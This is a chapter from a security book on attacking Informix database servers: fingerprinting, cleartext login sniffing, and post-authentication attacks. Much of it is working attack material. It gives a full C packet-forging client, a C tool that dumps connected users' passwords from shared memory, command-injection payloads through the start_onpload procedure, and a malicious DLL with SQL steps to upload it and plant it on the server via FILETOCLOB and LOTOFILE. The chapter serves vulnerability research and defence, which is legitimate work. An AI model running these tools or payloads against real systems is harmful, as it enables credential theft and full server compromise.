CHAPTER 11

Informix: Discovery, Attack, and Defense

Attacking and Defending Informix

Informix, by default, listens on TCP port 1526. When doing a TCP port scan and seeing that 1526 is open on a server one could be forgiven for thinking it's running Oracle, since Oracle can also often be found listening on TCP port 1526. The question is, is there a way to work out whether we're dealing with Oracle or Informix without sending any data? Well, by looking at what other ports are open you can hazard a good guess. For example, installed with Informix is the Informix Storage Manager. This has a number of processes running and listening on various ports:

Process	TCP Port
nsrmmdbd	7940
nsrmmd	7941
nsrexecd	7937
nsrexecd	7938
nsrd	7939

Windows servers also have portmap.exe listening on TCP port 111.

Chances are, if these ports are open, then we're looking at an Informix server. A good tip for new installs of Informix is not to use the standard TCP ports. While it is a security through obscurity "solution" it's better than having none.

When a client first connects to the server they send an authentication packet. Here's a packet dump:

```
IP Header
      Length and version: 0x45
      Type of service: 0x00
      Total length: 407
      Identifier: 44498
      Flags: 0x4000
      TTL: 128
      Protocol: 6 (TCP)
      Checksum: 0xc9b8
      Source IP: 192.168.0.34
      Dest IP: 192.168.0.99
TCP Header
      Source port: 1367
      Dest port: 1526
      Sequence: 558073140
      ack: 3526939382
      Header length: 0x50
      Flags: 0x18 (ACK PSH )
      Window Size: 17520
      Checksum: 0x0cae
      Urgent Pointer: 0
Raw Data
      73 71 41 57 73 42 50 51 41 41 73 71 6c 65 78 65  (sqAWsBPQAAsqlexe)
      63 20 6a 65 66 65 20 2d 70 66 39 38 62 62 72 21  (c jefe -pf98bbr!)
      21 20 39 2e 32 32 2e 54 43 31 20 20 20 52 44 53  (! 9.22.TC1   RDS)
      23 4e 30 30 30 30 30 30 20 2d 64 73 79 73 6d 61  (#N000000 -dsysma)
      73 74 65 72 20 2d 66 49 45 45 45 49 20 44 42 50  (ster -fIEEEI DBP)
      41 54 48 3d 2f 2f 6f 6c 5f 68 65 63 74 6f 72 20  (ATH=//ol_hector )
      43 4c 49 45 4e 54 5f 4c 4f 43 41 4c 45 3d 65 6e  (CLIENT_LOCALE=en)
      5f 55 53 2e 43 50 31 32 35 32 20 44 42 5f 4c 4f  (_US.CP1252 DB_LO)
      43 41 4c 45 3d 65 6e 5f 55 53 2e 38 31 39 20 3a  (CALE=en_US.819 :)
      41 47 30 41 41 41 41 39 62 32 77 41 41 41 41 41  (AG0AAAA9b2wAAAAA)
      41 41 41 41 41 41 41 39 63 32 39 6a 64 47 4e 77  (AAAAAAA9c29jdGNw)
      41 41 41 41 41 41 41 42 41 41 41 42 4d 51 41 41  (AAAAAAABAAABMQAA)
      41 41 41 41 41 41 41 41 63 33 46 73 5a 58 68 6c  (AAAAAAAAc3FsZXhl)
      59 77 41 41 41 41 41 41 41 41 56 7a 63 57 78 70  (YwAAAAAAAAVzcWxp)
      41 41 41 43 41 41 41 41 41 77 41 4b 62 32 78 66  (AAACAAAAAwAKb2xf)
      61 47 56 6a 64 47 39 79 41 41 42 72 41 41 41 41  (aGVjdG9yAABrAAAA)
      41 41 41 41 42 4b 67 41 41 41 41 41 41 41 68 4f  (AAAABKgAAAAAAAhO)
      54 31 4a 43 52 56 4a 55 41 41 41 49 54 6b 39 53  (T1JCRVJUAAAITk9S)
      51 6b 56 53 56 41 41 41 4a 55 4d 36 58 46 42 79  (QkVSVAAAJUM6XFBy)
      62 32 64 79 59 57 30 67 52 6d 6c 73 5a 58 4e 63  (b2dyYW0gRmlsZXNc)
      51 57 52 32 59 57 35 6a 5a 57 51 67 55 58 56 6c  (QWR2YW5jZWQgUXVl)
      63 6e 6b 67 56 47 39 76 62 41 41 41 64 41 41 49  (cnkgVG9vbAAAdAAI)
      41 41 41 45 30 67 41 41 41 41 41 41 66 77 00     (AAAE0gAAAAAAfw )
```

The first thing that stands out is the fact that the password for user 'jefe' is in cleartext - 'f98bbr!'. Anyone with access to the network in a non-switched environment will be able to sniff this traffic and gather user IDs and passwords.

(Password and data encryption is available for Informix as a “Communication Support Module” or CSM. While the CSMs are installed they’re not enabled by default.)

We can also see two chunks of base64 encoded text. The first, AWsBPQAA, decodes to

```
\x01\x6B\x01\x3D\x00\x00
```

The first two bytes is the total length of the data. The remaining four bytes are consistent. The second chunk of base64 text contains information such as client paths etc. While this text is processed it isn't actually used to authenticate the user. In fact, the text can be replayed from any client to any server with a different username and password. The code here can be used to connect to an arbitrary server with a username, password, database and database path of your choosing:

```
#include <stdio.h>
#include <windows.h>
#include <winsock.h>
#define PHEADER 2
#define HSIZE 8
#define SQLEXEC 8
#define PASS_START 2
#define VERSION 12
#define RDS 13
#define DB_START 2
#define IEEE_START 2
#define IEEE 6
#define DP_START 2
#define DBM_START 2
#define DBMONEY 3
#define CL_START 14
#define CL 13
#define CPC_START 17
#define CPC 2
#define DBL_START 10
#define DBL 10
int MakeRequest();
int StartWinsock(void);
int CreateConnectPacket();
int Base64Encode(char *str);
int IfxPort = 1516;
int len = 0;
struct sockaddr_in s_sa;
struct hostent *he;
unsigned int addr;
unsigned char host[260]="";
```

```
unsigned char *Base64Buffer = NULL;
unsigned char username[4260]="";
unsigned char password[4260]="";
unsigned char database[4260]="";
unsigned char dbaspath[4260]="";
unsigned char crud[]=
"\x3a\x41\x47\x30\x41\x41\x41\x41\x39\x62\x32\x77\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x39\x63\x32\x39\x6a\x64\x47\x4e"
"\x77\x41\x41\x41\x41\x41\x41\x41\x42\x41\x41\x41\x42\x4d\x51\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x63\x33\x46\x73\x5a\x58\x68"
"\x6c\x59\x77\x41\x41\x41\x41\x41\x41\x41\x41\x56\x7a\x63\x57\x78"
"\x70\x41\x41\x41\x43\x41\x41\x41\x41\x41\x77\x41\x4b\x62\x32\x78"
"\x66\x61\x47\x56\x6a\x64\x47\x39\x79\x41\x41\x42\x72\x41\x41\x41"
"\x41\x41\x41\x41\x41\x44\x6d\x67\x41\x41\x41\x41\x41\x41\x41\x64"
"\x54\x53\x56\x4a\x4a\x56\x56\x4d\x41\x41\x41\x64\x54\x53\x56\x4a"
"\x4a\x56\x56\x4d\x41\x41\x43\x42\x44\x4f\x6c\x78\x45\x62\x32\x4e"
"\x31\x62\x57\x56\x75\x64\x48\x4d\x67\x59\x57\x35\x6b\x49\x46\x4e"
"\x6c\x64\x48\x52\x70\x62\x6d\x64\x7a\x58\x45\x52\x42\x56\x6b\x6c"
"\x45\x41\x41\x42\x30\x41\x41\x67\x41\x41\x41\x54\x53\x41\x41\x41"
"\x41\x41\x41\x42\x5f\x x00";
unsigned char header[12]="\x01\x7A\x01\x3D\x00\x00";
char *ConnectPacket = NULL;

int CreateConnectPacket()
{
      unsigned short x = 0;
      len = 0;
      len = PHEADER + HSIZE + SQLEXEC;
      len = len + PASS_START + VERSION + RDS;
      len = len + DB_START + IEEE_START + IEEE;
      len = len + DP_START + DBM_START + DBMONEY;
      len = len + CL_START + CL + CPC_START;
      len = len + CPC + DBL_START + DBL;
      len = len + strlen(username) + 1;
      len = len + strlen(password) + 1;
      len = len + strlen(database) + 1;
      len = len + strlen(dbaspath) + 1;
      len = len + sizeof(crud);
      len ++;
      ConnectPacket = (char *)malloc(len);
      if(!ConnectPacket)
            return 0;
      memset(ConnectPacket,0,len);

      strcpy(ConnectPacket,"\x73\x71");                        // HEADER
      strcat(ConnectPacket,"\x41\x59\x49\x42\x50\x51\x41\x41");      // Size
      strcat(ConnectPacket,"\x73\x71\x6c\x65\x78\x65\x63\x20");      // sqlexec
      strcat(ConnectPacket,username);                            // username
      strcat(ConnectPacket,"\x20");                            // space
      strcat(ConnectPacket,"\x2d\x70");                        // password_start
      strcat(ConnectPacket,password);                            // password *
      strcat(ConnectPacket,"\x20");                            // space
```

```
	strcat(ConnectPacket,"\x39\x2e\x32\x32\x2e\x54\x43\x33\x20\x20\x20"); //
version
	strcat(ConnectPacket,"\x52\x44\x53\x23\x4e\x30\x30\x30\x30\x30\x30\x20");
// RDS
	strcat(ConnectPacket,"\x2d\x64");                        // database_start
	strcat(ConnectPacket,database);                         // database *
	strcat(ConnectPacket,"\x20");                              // space
	strcat(ConnectPacket,"\x2d\x66");                        // ieee_start
	strcat(ConnectPacket,"\x49\x45\x45\x45\x49\x20");            // IEEE
	strcat(ConnectPacket,"\x44\x42\x50\x41\x54\x48\x3d\x2f\x2f");      //
dbpath_start
	strcat(ConnectPacket,dbaspath);                              // dbpath *
	strcat(ConnectPacket,"\x20");                              // space
	strcat(ConnectPacket,"\x44\x42\x4d\x4f\x4e\x45\x59\x3d");      //
dbmoney_start
	strcat(ConnectPacket,"\x24\x2e\x20");                        // dbmoney

strcat(ConnectPacket,"\x43\x4c\x49\x45\x4e\x54\x5f\x4c\x4f\x43\x41\x4c\x45\x3d")
; // client_locale_start

strcat(ConnectPacket,"\x65\x6e\x5f\x55\x53\x2e\x43\x50\x31\x32\x35\x32\x20"); //
client_locale

strcat(ConnectPacket,"\x43\x4c\x4e\x54\x5f\x50\x41\x4d\x5f\x43\x41\x50\x41\x42\x
4c\x45\x3d"); // client_pam_capable_start
	strcat(ConnectPacket,"\x31\x20");                        // cli-
ent_pam_capable
	strcat(ConnectPacket,"\x44\x42\x5f\x4c\x4f\x43\x41\x4c\x45\x3d"); //
db_locale_start
	strcat(ConnectPacket,"\x65\x6e\x5f\x55\x53\x2e\x38\x31\x39\x20"); //
db_locale
	strcat(ConnectPacket,crud);

	x = (unsigned short) strlen(ConnectPacket);
	x = x >> 8;
	header[0]=x;
	x = (unsigned short) strlen(ConnectPacket);
	x = x - 3;
	x = x << 8;
	x = x >> 8;
	header[1]=x;
	Base64Encode(header);
	if(!Base64Buffer)
		return 0;
	memmove(&ConnectPacket[2],Base64Buffer,8);
	return 1;
}

int main(int argc, char *argv[])
{
	unsigned int ErrorLevel=0;
	int count = 0;
```

```
	char buffer[100000]="";
	if(argc != 7)
	{
		printf("Informix Tester.\n");
		printf("C:\\>%s host port username password database
dbpath\n",argv[0]);
		return 0;
	}

	printf("Here");
	strncpy(host,argv[1],256);
	strncpy(username,argv[3],4256);
	strncpy(password,argv[4],4256);
	strncpy(database,argv[5],4256);
	strncpy(dbaspath,argv[6],4256);
	IfxPort = atoi(argv[2]);
	if(CreateConnectPacket()==0)
		return printf("Error building Connect packet.\n");
	printf("\n%s\n\n\n",ConnectPacket);
	ErrorLevel = StartWinsock();
	if(ErrorLevel==0)
		return printf("Error starting Winsock.\n");
	MakeRequest1();
	WSACleanup();
	if(Base64Buffer)
		free(Base64Buffer);

	return 0;
}

int StartWinsock()
{
	int err=0;
	WORD wVersionRequested;
	WSADATA wsaData;
	wVersionRequested = MAKEWORD( 2, 0 );
	err = WSAStartup( wVersionRequested, &wsaData );
	if ( err != 0 )
		return 0;
	if ( LOBYTE( wsaData.wVersion ) != 2 || HIBYTE( wsaData.wVersion ) != 0 )
	  {
		WSACleanup();
		return 0;
	}
	if (isalpha(host[0]))
	  {
		he = gethostbyname(host);
		s_sa.sin_addr.s_addr=INADDR_ANY;
		s_sa.sin_family=AF_INET;
		memcpy(&s_sa.sin_addr,he->h_addr,he->h_length);
	}
	else
```

```
	{
		addr = inet_addr(host);
		s_sa.sin_addr.s_addr=INADDR_ANY;
		s_sa.sin_family=AF_INET;
		memcpy(&s_sa.sin_addr,&addr,4);
		he = (struct hostent *)1;
	}
	if (he == NULL)
	  {
		WSACleanup();
		return 0;
	  }
	return 1;
}


int MakeRequest1()
{
	char resp[600]="";
	int snd=0,rcv=0,count=0, var=0;
	unsigned int ttlbytes=0;
	unsigned int to=10000;
	struct sockaddr_in cli_addr;
	SOCKET cli_sock;
	char *ptr = NULL;
	char t[20]="";
	char status[4]="";

	cli_sock=socket(AF_INET,SOCK_STREAM,0);
	if (cli_sock==INVALID_SOCKET)
		return printf("socket error.\n");

	setsockopt(cli_sock,SOL_SOCKET,SO_RCVTIMEO,(char *)&to,sizeof(unsigned
int));
	    s_sa.sin_port=htons((unsigned short)1526);
	if (connect(cli_sock,(LPSOCKADDR)&s_sa,sizeof(s_sa))==SOCKET_ERROR)
	{
		closesocket(cli_sock);
		printf("Connect error.\n");
		ExitProcess(0);
	}


	send(cli_sock,ConnectPacket,strlen(ConnectPacket)+1,0);
	rcv = recv(cli_sock,resp,596,0);
	if(rcv == SOCKET_ERROR)
	{
		printf("recv error.\n");
		goto endfunc;
	}
	printf("Recv: %d bytes [%x]\n",rcv,resp[0]);
	count = 0;
```

```
	while(count < rcv)
	{
		if(resp[count]==0x00 || resp[count] < 0x20 || resp[count] > 0x7F)
			resp[count]=0x20;
		count ++;
	}
	printf("%s\n\n\n",resp);
endfunc:
	ZeroMemory(resp,600);
	closesocket(cli_sock);
	return 0;
}
int Base64Encode(char *str)
{
	unsigned int length = 0, cnt = 0, res = 0, count = 0, l = 0;
	unsigned char A = 0;
	unsigned char B = 0;
	unsigned char C = 0;
	unsigned char D = 0;
	unsigned char T = 0;
	unsigned char tmp[8]="";
	unsigned char *ptr = NULL, *x = NULL;

	length = strlen(str);
	if(length > 0xFFFFFF00)
	{
		printf("size error.\n");
		return 0;
	}
	res = length % 3;
	if(res)
	{
		res = length - res;
		res = length / 3;
		res ++;
	}
	else
		res = length / 3;

	l = res;

	res = res * 4;

	if(res < length)
	{
		printf("size error");
		return 0;
	}

	Base64Buffer = (unsigned char *) malloc(res+1);
	if(!Base64Buffer)
	{
```

```
            printf("malloc error");
            return 0;
      }
      memset(Base64Buffer,0,res+1);

      ptr = (unsigned char *) malloc(length+16);
      if(!ptr)
      {
            free(Base64Buffer);
            Base64Buffer = 0;
            printf("malloc error.\n");
            return 0;
      }

      memset(ptr,0,length+16);
      x = ptr;
      strcpy(ptr,str);
      while(count < l)
      {
            A = ptr[0] >> 2;
            B = ptr[0] << 6;
            B = B >> 2;
            T = ptr[1] >> 4;
            B = B + T;
            C = ptr[1] << 4;
            C = C >> 2;
            T = ptr[2] >> 6;
            C = C + T;
            D = ptr[2] << 2;
            D = D >> 2;
            tmp[0] = A;
            tmp[1] = B;
            tmp[2] = C;
            tmp[3] = D;
            while(cnt < 4)
            {
                  if(tmp[cnt] < 26)
                        tmp[cnt] = tmp[cnt] + 0x41;
                  else if(tmp[cnt] < 52)
                        tmp[cnt] = tmp[cnt] + 0x47;
                  else if(tmp[cnt] < 62)
                        tmp[cnt] = tmp[cnt] - 4;
                  else if(tmp[cnt] == 62)
                        tmp[cnt] = 0x2B;
                  else if(tmp[cnt] == 63)
                        tmp[cnt] = 0x2F;
                  else
                        {
                              free(x);
                              free(Base64Buffer);
                              Base64Buffer = NULL;
                              return 0;
```

```
                        }
                  cnt ++;
            }
            cnt = 0;
            ptr = ptr + 3;
            count ++;
            strcat(Base64Buffer,tmp);
      }

      free(x);
      return 1;

}
```

One thing you might come across while playing with this is that if you supply an overly long username, a stack based buffer overflow can be triggered. What's more, it can be exploited easily. This presents a real threat; if an attacker can access your Informix server via the network, they can exploit this overflow without a valid username or password to gain control over the server. All versions of Informix on all operating systems are vulnerable.

Assuming we don't exploit the overflow and attempt to authenticate and do so successfully we should get a response similar to

```
IP Header
      Length and version: 0x45
      Type of service: 0x00
      Total length: 294
      Identifier: 58892
      Flags: 0x4000
      TTL: 128
      Protocol: 6 (TCP)
      Checksum: 0x91ef
      Source IP: 192.168.0.99
      Dest IP: 192.168.0.34
TCP Header
      Source port: 1526
      Dest port: 1367
      Sequence: 3526939382
      ack: 558073507
      Header length: 0x50
      Flags: 0x18 (ACK PSH )
      Window Size: 65168
      Checksum: 0xbc48
      Urgent Pointer: 0
Raw Data
      00 fe 02 3d 10 00 00 64 00 65 00 00 00 3d 00 06  (   =   d e   =  )
      49 45 45 45 49 00 00 6c 73 72 76 69 6e 66 78 00  (IEEEI  lsrvinfx )
      00 00 00 00 00 2d 49 6e 66 6f 72 6d 69 78 20 44  (     -Informix D)
      79 6e 61 6d 69 63 20 53 65 72 76 65 72 20 56 65  (ynamic Server Ve)
      72 73 69 6f 6e 20 39 2e 34 30 2e 54 43 35 54 4c  (rsion 9.40.TC5TL)
```

```
      20 20 00 00 23 53 6f 66 74 77 61 72 65 20 53 65  (    #Software Se)
      72 69 61 6c 20 4e 75 6d 62 65 72 20 41 41 41 23  (rial Number AAA#)
      42 30 30 30 30 30 30 00 00 0a 6f 6c 5f 68 65 63  (B000000   ol_hec)
      74 6f 72 00 00 00 01 3c 00 00 00 00 00 00 00 00  (tor    <        )
      00 00 00 00 00 00 6f 6c 00 00 00 00 00 00 00 00  (      ol        )
      00 3d 73 6f 63 74 63 70 00 00 00 00 00 00 00 66  ( =soctcp       f)
      00 00 00 00 20 a0 00 00 00 00 00 15 00 00 00 6b  (               k)
      00 00 00 00 00 00 07 60 00 00 00 00 00 07 68 65  (       `      he)
      63 74 6f 72 00 00 07 48 45 43 54 4f 52 00 00 10  (ctor   HECTOR   )
      46 3a 5c 49 6e 66 6f 72 6d 69 78 5c 62 69 6e 00  (F:\Informix\bin )
      00 74 00 08 00 f6 00 06 00 f6 00 00 00 7f        ( t           □)
```

Here we can extract some vital clues about the remote server: its version and the operating system. The first 'T' in 9.40.TC5TL denotes that the server is running on a Windows server. A U implies Unix. The version is 9.40 release 5. We can also see the install path - F:\Informix\bin. These little bits of information are helpful when forming attack strategies. If we fail to authenticate successfully we can still draw certain bits of useful information. Here's the response for a failed authentication attempt for user 'dumbo'

```
IP Header
      Length and version: 0x45
      Type of service: 0x00
      Total length: 230
      Identifier: 58961
      Flags: 0x4000
      TTL: 128
      Protocol: 6 (TCP)
      Checksum: 0x91a6
      Source IP: 192.168.0.99
      Dest IP: 192.168.0.102
TCP Header
      Source port: 1526
      Dest port: 3955
      Sequence: 3995092107
      ack: 1231545498
      Header length: 0x50
      Flags: 0x18 (ACK PSH )
      Window Size: 32720
      Checksum: 0x65bc
      Urgent Pointer: 0
Raw Data
      00 be 03 3d 10 00 00 64 00 65 00 00 00 3d 00 06  (   =   d e   =  )
      49 45 45 45 49 00 00 6c 73 72 76 69 6e 66 78 00  (IEEEI  lsrvinfx )
      00 00 00 00 00 05 56 31 2e 30 00 00 04 53 45 52  (      V1.0   SER)
      00 00 08 61 73 66 65 63 68 6f 00 00 00 00 00 00  (   asfecho      )
      00 00 00 00 00 00 00 00 00 00 00 00 00 6f 6c 00  (             ol )
      00 00 00 00 00 00 00 00 3d 73 6f 63 74 63 70 00  (        =soctcp )
      00 00 00 00 01 00 66 00 00 00 00 00 00 fc 49 00  (      f       I )
      00 00 00 00 01 00 00 00 05 64 75 6d 62 6f 00 6b  (         dumbo k)
```

```
00 00 00 00 00 00 07 60 00 00 00 00 00 07 68 65  (       `      he)
63 74 6f 72 00 00 07 48 45 43 54 4f 52 00 00 10  (ctor   HECTOR   )
46 3a 5c 49 6e 66 6f 72 6d 69 78 5c 62 69 6e 00  (F:\Informix\bin )
00 74 00 08 00 f6 00 06 00 f6 00 00 00 7f        ( t            □)
```

We can see the install path still. From this we can deduce we're looking at an Informix server on Windows - as Unix system would have /opt/informix/bin or similar.

One final point to note here is that the Informix command line utilities such as onstat and onspaces connect over sockets as well. An attacker can retrieve useful information about the server setup without needing to authenticate.

Post-Authentication Attacks

Once authenticated to the server the client can start sending requests. The second byte of request packets provides an index into a function table within the main database server process. When executing a standard SQL query for example, the second byte of the request packet is 0x02. This maps to the _sq_prepare function. The table below lists code to function mappings. Those codes that aren't listed usually translate to a dummy function that simply returns 0.

```
0x01 _sq_cmnd
0x02 _sq_prepare
0x03 _sq_curname
0x04 _sq_id
0x05 _sq_bind
0x06 _sq_open
0x07 _sq_execute
0x08 _sq_describe
0x09 _sq_nfetch
0x0a _sq_close
0x0b _sq_release
0x0C _sq_eot
0x10 _sq_exselect
0x11 _sq_putinsert
0x13 _sq_commit
0x14 _sq_rollback
0x15 _sq_svpoint
0x16 _sq_ndescribe
0x17 _sq_sfetch
0x18 _sq_scroll
0X1A _sq_dblist
0x23 _sq_beginwork
0x24 _sq_dbopen
0x25 _sq_dbclose
0x26 _sq_fetchblob
0x29 _sq_bbind
0x2a _sq_dprepare
0x2b _sq_hold
0x2c _sq_dcatalog
0x2f _sq_isolevel
```

```
0x30 _sq_lockwait
0x31 _sq_wantdone
0x32 _sq_remview
0x33 _sq_remperms
0x34 _sq_sbbind
0x35 _sq_version
0x36 _sq_defer
0x38 004999C0
0x3a _sq_remproc
0x3b _sq_exproc
0x3c _sq_remdml
0x3d _sq_txprepare
0x3f _sq_txforget
0x40 _sq_txinquire
0x41 _sq_xrollback
0x42 _sq_xclose
0x43 _sq_xcommit
0x44 _sq_xend
0x45 _sq_xforget
0x46 _sq_xprepare
0x47 _sq_xrecover
0x48 _sq_xstart
0x4a _sq_ixastate
0x4b _sq_descbind
0x4c _sq_rempperms
0x4d _sq_setgtrid
0x4e _sq_miscflags
0x4f _sq_triglvl
0x50 _sq_nls
0x51 _sq_info
0x52 _sq_xopen
0x53 004999F0
0x54 _sq_txstate
0x55 _sq_distfetch
0x57 _sq_reoptopen
0x58 _sq_remutype
0x59 00499AC0
0x5a 00499B90
0x5c _sq_fetarrsize
0x60 00499C70
0x61 _sq_lodata
0x64 _sq_rettype
0x65 _sq_getroutine
0x66 _sq_exfproutine
0x69 _sq_relcoll
0x6c _sq_autofree
0x6D _sq_serverowner
0x6f _sq_ndesc_id
0x73 _sq_beginwk_norepli
0x7c _sq_idescribe
0x7E _sq_protocols
0x85 _sq_variable_putinsert
```

Let’s take a look at some of the more interesting functions. For example, _sq_scroll and _sqbbind will cause the server to crash if no parameters are passed; the server dies with a NULL pointer exception causing a denial of service. We'll look at these shortly as a way of obtaining user IDs and passwords. Others are vulnerable to classic stack based buffer overflow vulnerabilities - namely _sq_dcatalog, _sq_distfetch, _sq_remperms, _sq_rempperms, _sq_remproc and _sq_remview. All of these functions create several stack based buffers then call a function _getname. The _getname function takes a pointer to a buffer then calls __iget_pbuf (which calls _iread) to read data from the network; this is written to the buffer. If more data is supplied than the buffer can hold it overflows. This overwrites the saved return address allowing an attacker to gain control of the process' path of execution. (Note these vulnerabilities have been reported to IBM and by the time this book is published the patches will be available from the IBM web site.) Exploits for these issues are trivial to write - as is usually the case with classic stack based overflows.

Shared memory, usernames and passwords

I just mentioned a couple of denial of service attacks but interestingly these are more than just that. When Informix crashes it writes out a number of log files including a dump of shared memory sections. These dumps are world readable and are written to the tmp directory with a filename similar to shmem.AAAAAAAA.0 where AAAAAAAA is a hex number. What's so useful about this is that every user that is connected to the database server at the time has their initial connection details in here. Gaining access to these dumps will reveal the usernames with their passwords. This could allow a low privileged user to discover the password of an account with more privileges.

(You can stop Informix dumping shared memory to disk in the event of a crash by setting DUMPSHMEM to 0 in the onconfig configuration file.)

Using built in features of Informix it's possible to read these dump files via SQL queries. We'll discuss gaining access to the file system of the server later on. As it happens, on Windows, users with local accounts don't actually need to cause the server to crash to get access to these usernames and passwords. The Everyone group on Windows has read access to the shared memory section – on Linux it’s better protected and can’t be attached to with shmat() by a low privileged account. On Windows, users can just read the shared memory section live. This code will extract logged on usernames and passwords from Informix on Windows:

```
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
int main( int argc, char * argv[] )
{
        HANDLE h;
```

```
	unsigned char *ptr;

	printf("\n\n\tInformix Password Dumper\n\n");
	if(argc !=2)
	{
		printf("\tUsage:\n\n\tC:\\>%s SECTION\n\n",argv[0]);
		printf("\te.g.\n\n\tC:\\>%s T1381386242\n\n",argv[0]);
		printf("\tThis utility uses MapViewOfFile to read a shared mem-
ory section\n");
		printf("\tin the Informix server process and dumps the passwords
of all\n");
		printf("\tconnected users.\n\n\tDavid Litch-
field\n\t(davidl@ngssoftware.com)\n");
		printf("\t11th January 2004\n\n");
		return 0;
	}
	h = OpenFileMapping(FILE_MAP_READ, FALSE, argv[1]);
	if(!h)
		return printf("Couldn't open section %s\n",argv[1]);

	ptr = (unsigned char *)MapViewOfFile( h, FILE_MAP_READ, 0, 0, 0 );
	printf("The following users are connected:\n\n");
	__try
	{
		while( 1 )
		{
			if(*ptr == ' ')
			{
				ptr ++;
				if(*ptr == '-')
				{
					ptr ++;
					if(*ptr == 'p')
					{
						ptr ++;
						dumppassword(ptr);
					}
				}
			}
		ptr++;
		}
	}
	__except( EXCEPTION_EXECUTE_HANDLER )
	{
	}
	return 0;
}

//	<SP>USERNAME<SP>-pPASSWORD<SP>
int dumppassword(unsigned char *fptr)
{
	unsigned char count = 0;
```

```
        unsigned char *ptr = NULL;
        ptr = fptr - 4;
        while(count < 255)
        {
                if(*ptr == 0x00)
                        return printf("Error\n");
                if(*ptr == 0x20)
                        break;
                ptr --;
                count ++;
        }
        count = 0;
        ptr ++;
        printf("Username: ");
        while(count < 1)
        {
                if(*ptr == 0x20)
                        break;
                printf("%c",*ptr);
                ptr ++;
        }
        count = 0;
        ptr = ptr + 3;
        printf("\t\tPassword: ");
        while(count < 1)
        {
                if(*ptr == 0x20)
                        break;
                printf("%c",*ptr);
                ptr ++;
        }
        count = 0;
        printf("\n");
        return 0;




}
```

Creating Databases

The title “creating databases” sounds like it has nothing to do with attacking Informix – but it does. If you can connect to the server then you can issue the CREATE DATABASE command – regardless of your privileges; what’s more, the database is created and you are given DBA privileges on it. Once you’re DBA on a database you own the whole server. Whilst this doesn’t seem to be public knowledge yet, IBM have known about it for a while and there is an undocumented workaround available to prevent this. See the section on securing Informix for more details. At this stage it seems like “game over” but on the off chance that someone has protected their server using the workaround, let’s examine other ways to gain control of the server.

Attacking Informix with Stored Procedural Language (SPL)

Informix supports procedures and functions, otherwise known as routines, written in Stored Procedural Language or SPL. Procedures can be extended with C libraries or Java and to help with the security aspects of this Informix supports the idea of giving users the 'usage' permission on languages:

```
grant usage on language c to david
```

This will store a row in the syslangauth table authorizing account 'david' the use of the C language. Even though public has usage of the SPL language by default, a user must have the "resource" permission or "dba" to be able to create a routine. In other words, those with only "connect" permissions can't create routines.

Running arbitrary commands with SPL

One of the more worrying aspects about SPL is the built-in SYSTEM function. As you'll probably guess this takes an operating system command as an argument and executes it:

```
CREATE PROCEDURE mycmd()
        DEFINE CMD CHAR(255);
        LET CMD = 'dir > c:\res.txt';
        SYSTEM CMD;
END PROCEDURE;
```

Giving users the ability to run operating system commands is frightening - especially as it's bits of functionality like this that attackers will exploit to gain full control of the server. Those who know a bit about Informix already may be questioning this - the command runs with the logged on user's privileges and not that of the Informix user - so where can the harm in that be? Well, being able to run OS commands even with low privileges is simply one step away from gaining complete control - in fact, shortly, I'll demonstrate this with a example. At least those with only "connect" permissions can't use this call to system. Or can they? Indeed they can - I wouldn't have brought it up otherwise. A couple of default stored procedures call system. This is the code for the start_onpload procedure. Public has the execute permission for this:

```
create procedure informix.start_onpload(args char(200)) returning int;
    define command char(255); -- build command string here
    define rtnsql  int;       -- place holder for exception sqlcode setting
    define rtnisam int;       -- isam error code. Should be onpload exit
status
   {If $INFORMIXDIR/bin/onpload not found try /usr/informix/bin/onpload}
   { or NT style}
    on exception in (-668) set rtnsql, rtnisam
      if rtnisam = -2 then
            { If onpload.exe not found by default UNIX style-environment}
            let command = 'cmd /c %INFORMIXDIR%\bin\onpload ' || args;
            system (command);
            return 0;
         end if
         if rtnisam = -1 then
              let command = '/usr/informix/bin/onpload ' || args;
              system (command);
            return 0;
        end if
        return rtnisam;
    end exception
    let command = '$INFORMIXDIR/bin/onpload ' || args;
    system (command);
    return 0;
end procedure;
```

As can be seen, the user supplied "args" is concatenated to "cmd /c %INFORMIXDIR%\bin\onpload " on Windows and '/usr/informix/bin/onpload' on Unix systems. An attacker with only "connect" permissions can exploit this to run arbitrary OS commands.

On Windows they'd issue

```
execute procedure informix.start_onpload('foobar && dir > c:\foo.txt')
```

and on Unix they'd issue

```
execute procedure informix.start_onpload('foobar ;/bin/ls >
/tmp/foo.txt')
```

What's happening here is that shell metacharacters are not being stripped and so when passed to the shell they're interpreted. The && on Windows tells cmd.exe to run the second command and the ; on unix tells /bin/sh to run the second command. Both the informix.dbexp and informix.dbimp procedures are likewise vulnerable. Note that any injected additional command will run with the permissions of the logged on user and not that of the Informix user. Let's look at a way how a low privileged user can exploit this then to gain complete control of the server. I'll use Windows as the example but the same technique can be used for Unix servers, too. The attack involves copying a DLL to the server via SQL and then getting the server to load the DLL. When the DLL is loaded the attacker's code executes.

First, the attacker creates a compiles a DLL on their own machine:

```
#include <stdio.h>
#include <windows.h>
int __declspec (dllexport) MyFunctionA(char *ptr)
{
        return 0;
}
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason,LPVOID lpRe-
served ) {
        system("c:\\whoami > c:\\infx.txt");
        return TRUE;
}
C:\>cl /LD dll.c
```

As can be seen, this DLL calls system() from the DllMain function. When DLLs are loaded into a process the DllMain function is (usually) executed. Once compiled, the attacker connects to the database server and creates a temporary table

```
CREATE temp TABLE dlltable (name varchar(20), dll clob)
```

With this done they upload their DLL:

```
INSERT INTO dlltable (name,dll) VALUES ('mydll', FILETOCLOB('c:\dll.dll', 'cli-
ent'))
```

(The FILETOCLOB function can be used to read files from the client *as well as* the server. More on which later. Oh, and it suffers from a stack based buffer overflow vulnerability, too. Public can execute this function by default.)

By executing this INSERT the DLL is transferred from the client machine to the server and is stored in the temp table they just created. Next, they write it out to the disk:

```
SELECT name,LOTOFILE(dll,'C:\g.dll','server') from dlltable where name = 'mydll'
```

(The LOTOFILE function can be used to *write* files on the server. More on which later. Oh, and it, like FILETOCLOB, suffers from a stack based buffer overflow vulnerability, too. Public can also execute this function by default.)

When the SELECT is executed Informix creates a file called C:\g.dll.0000000041dc4e74 (or similar).

Now, the attacker needs to change the attributes of the DLL. If the file is not "Read Only", attempts to load it later will fail. The attacker achieves this with the following:

```
execute procedure informix.start_onpload('AAAA & attrib +R
C:\g.dll.0000000041dc4e74')
```

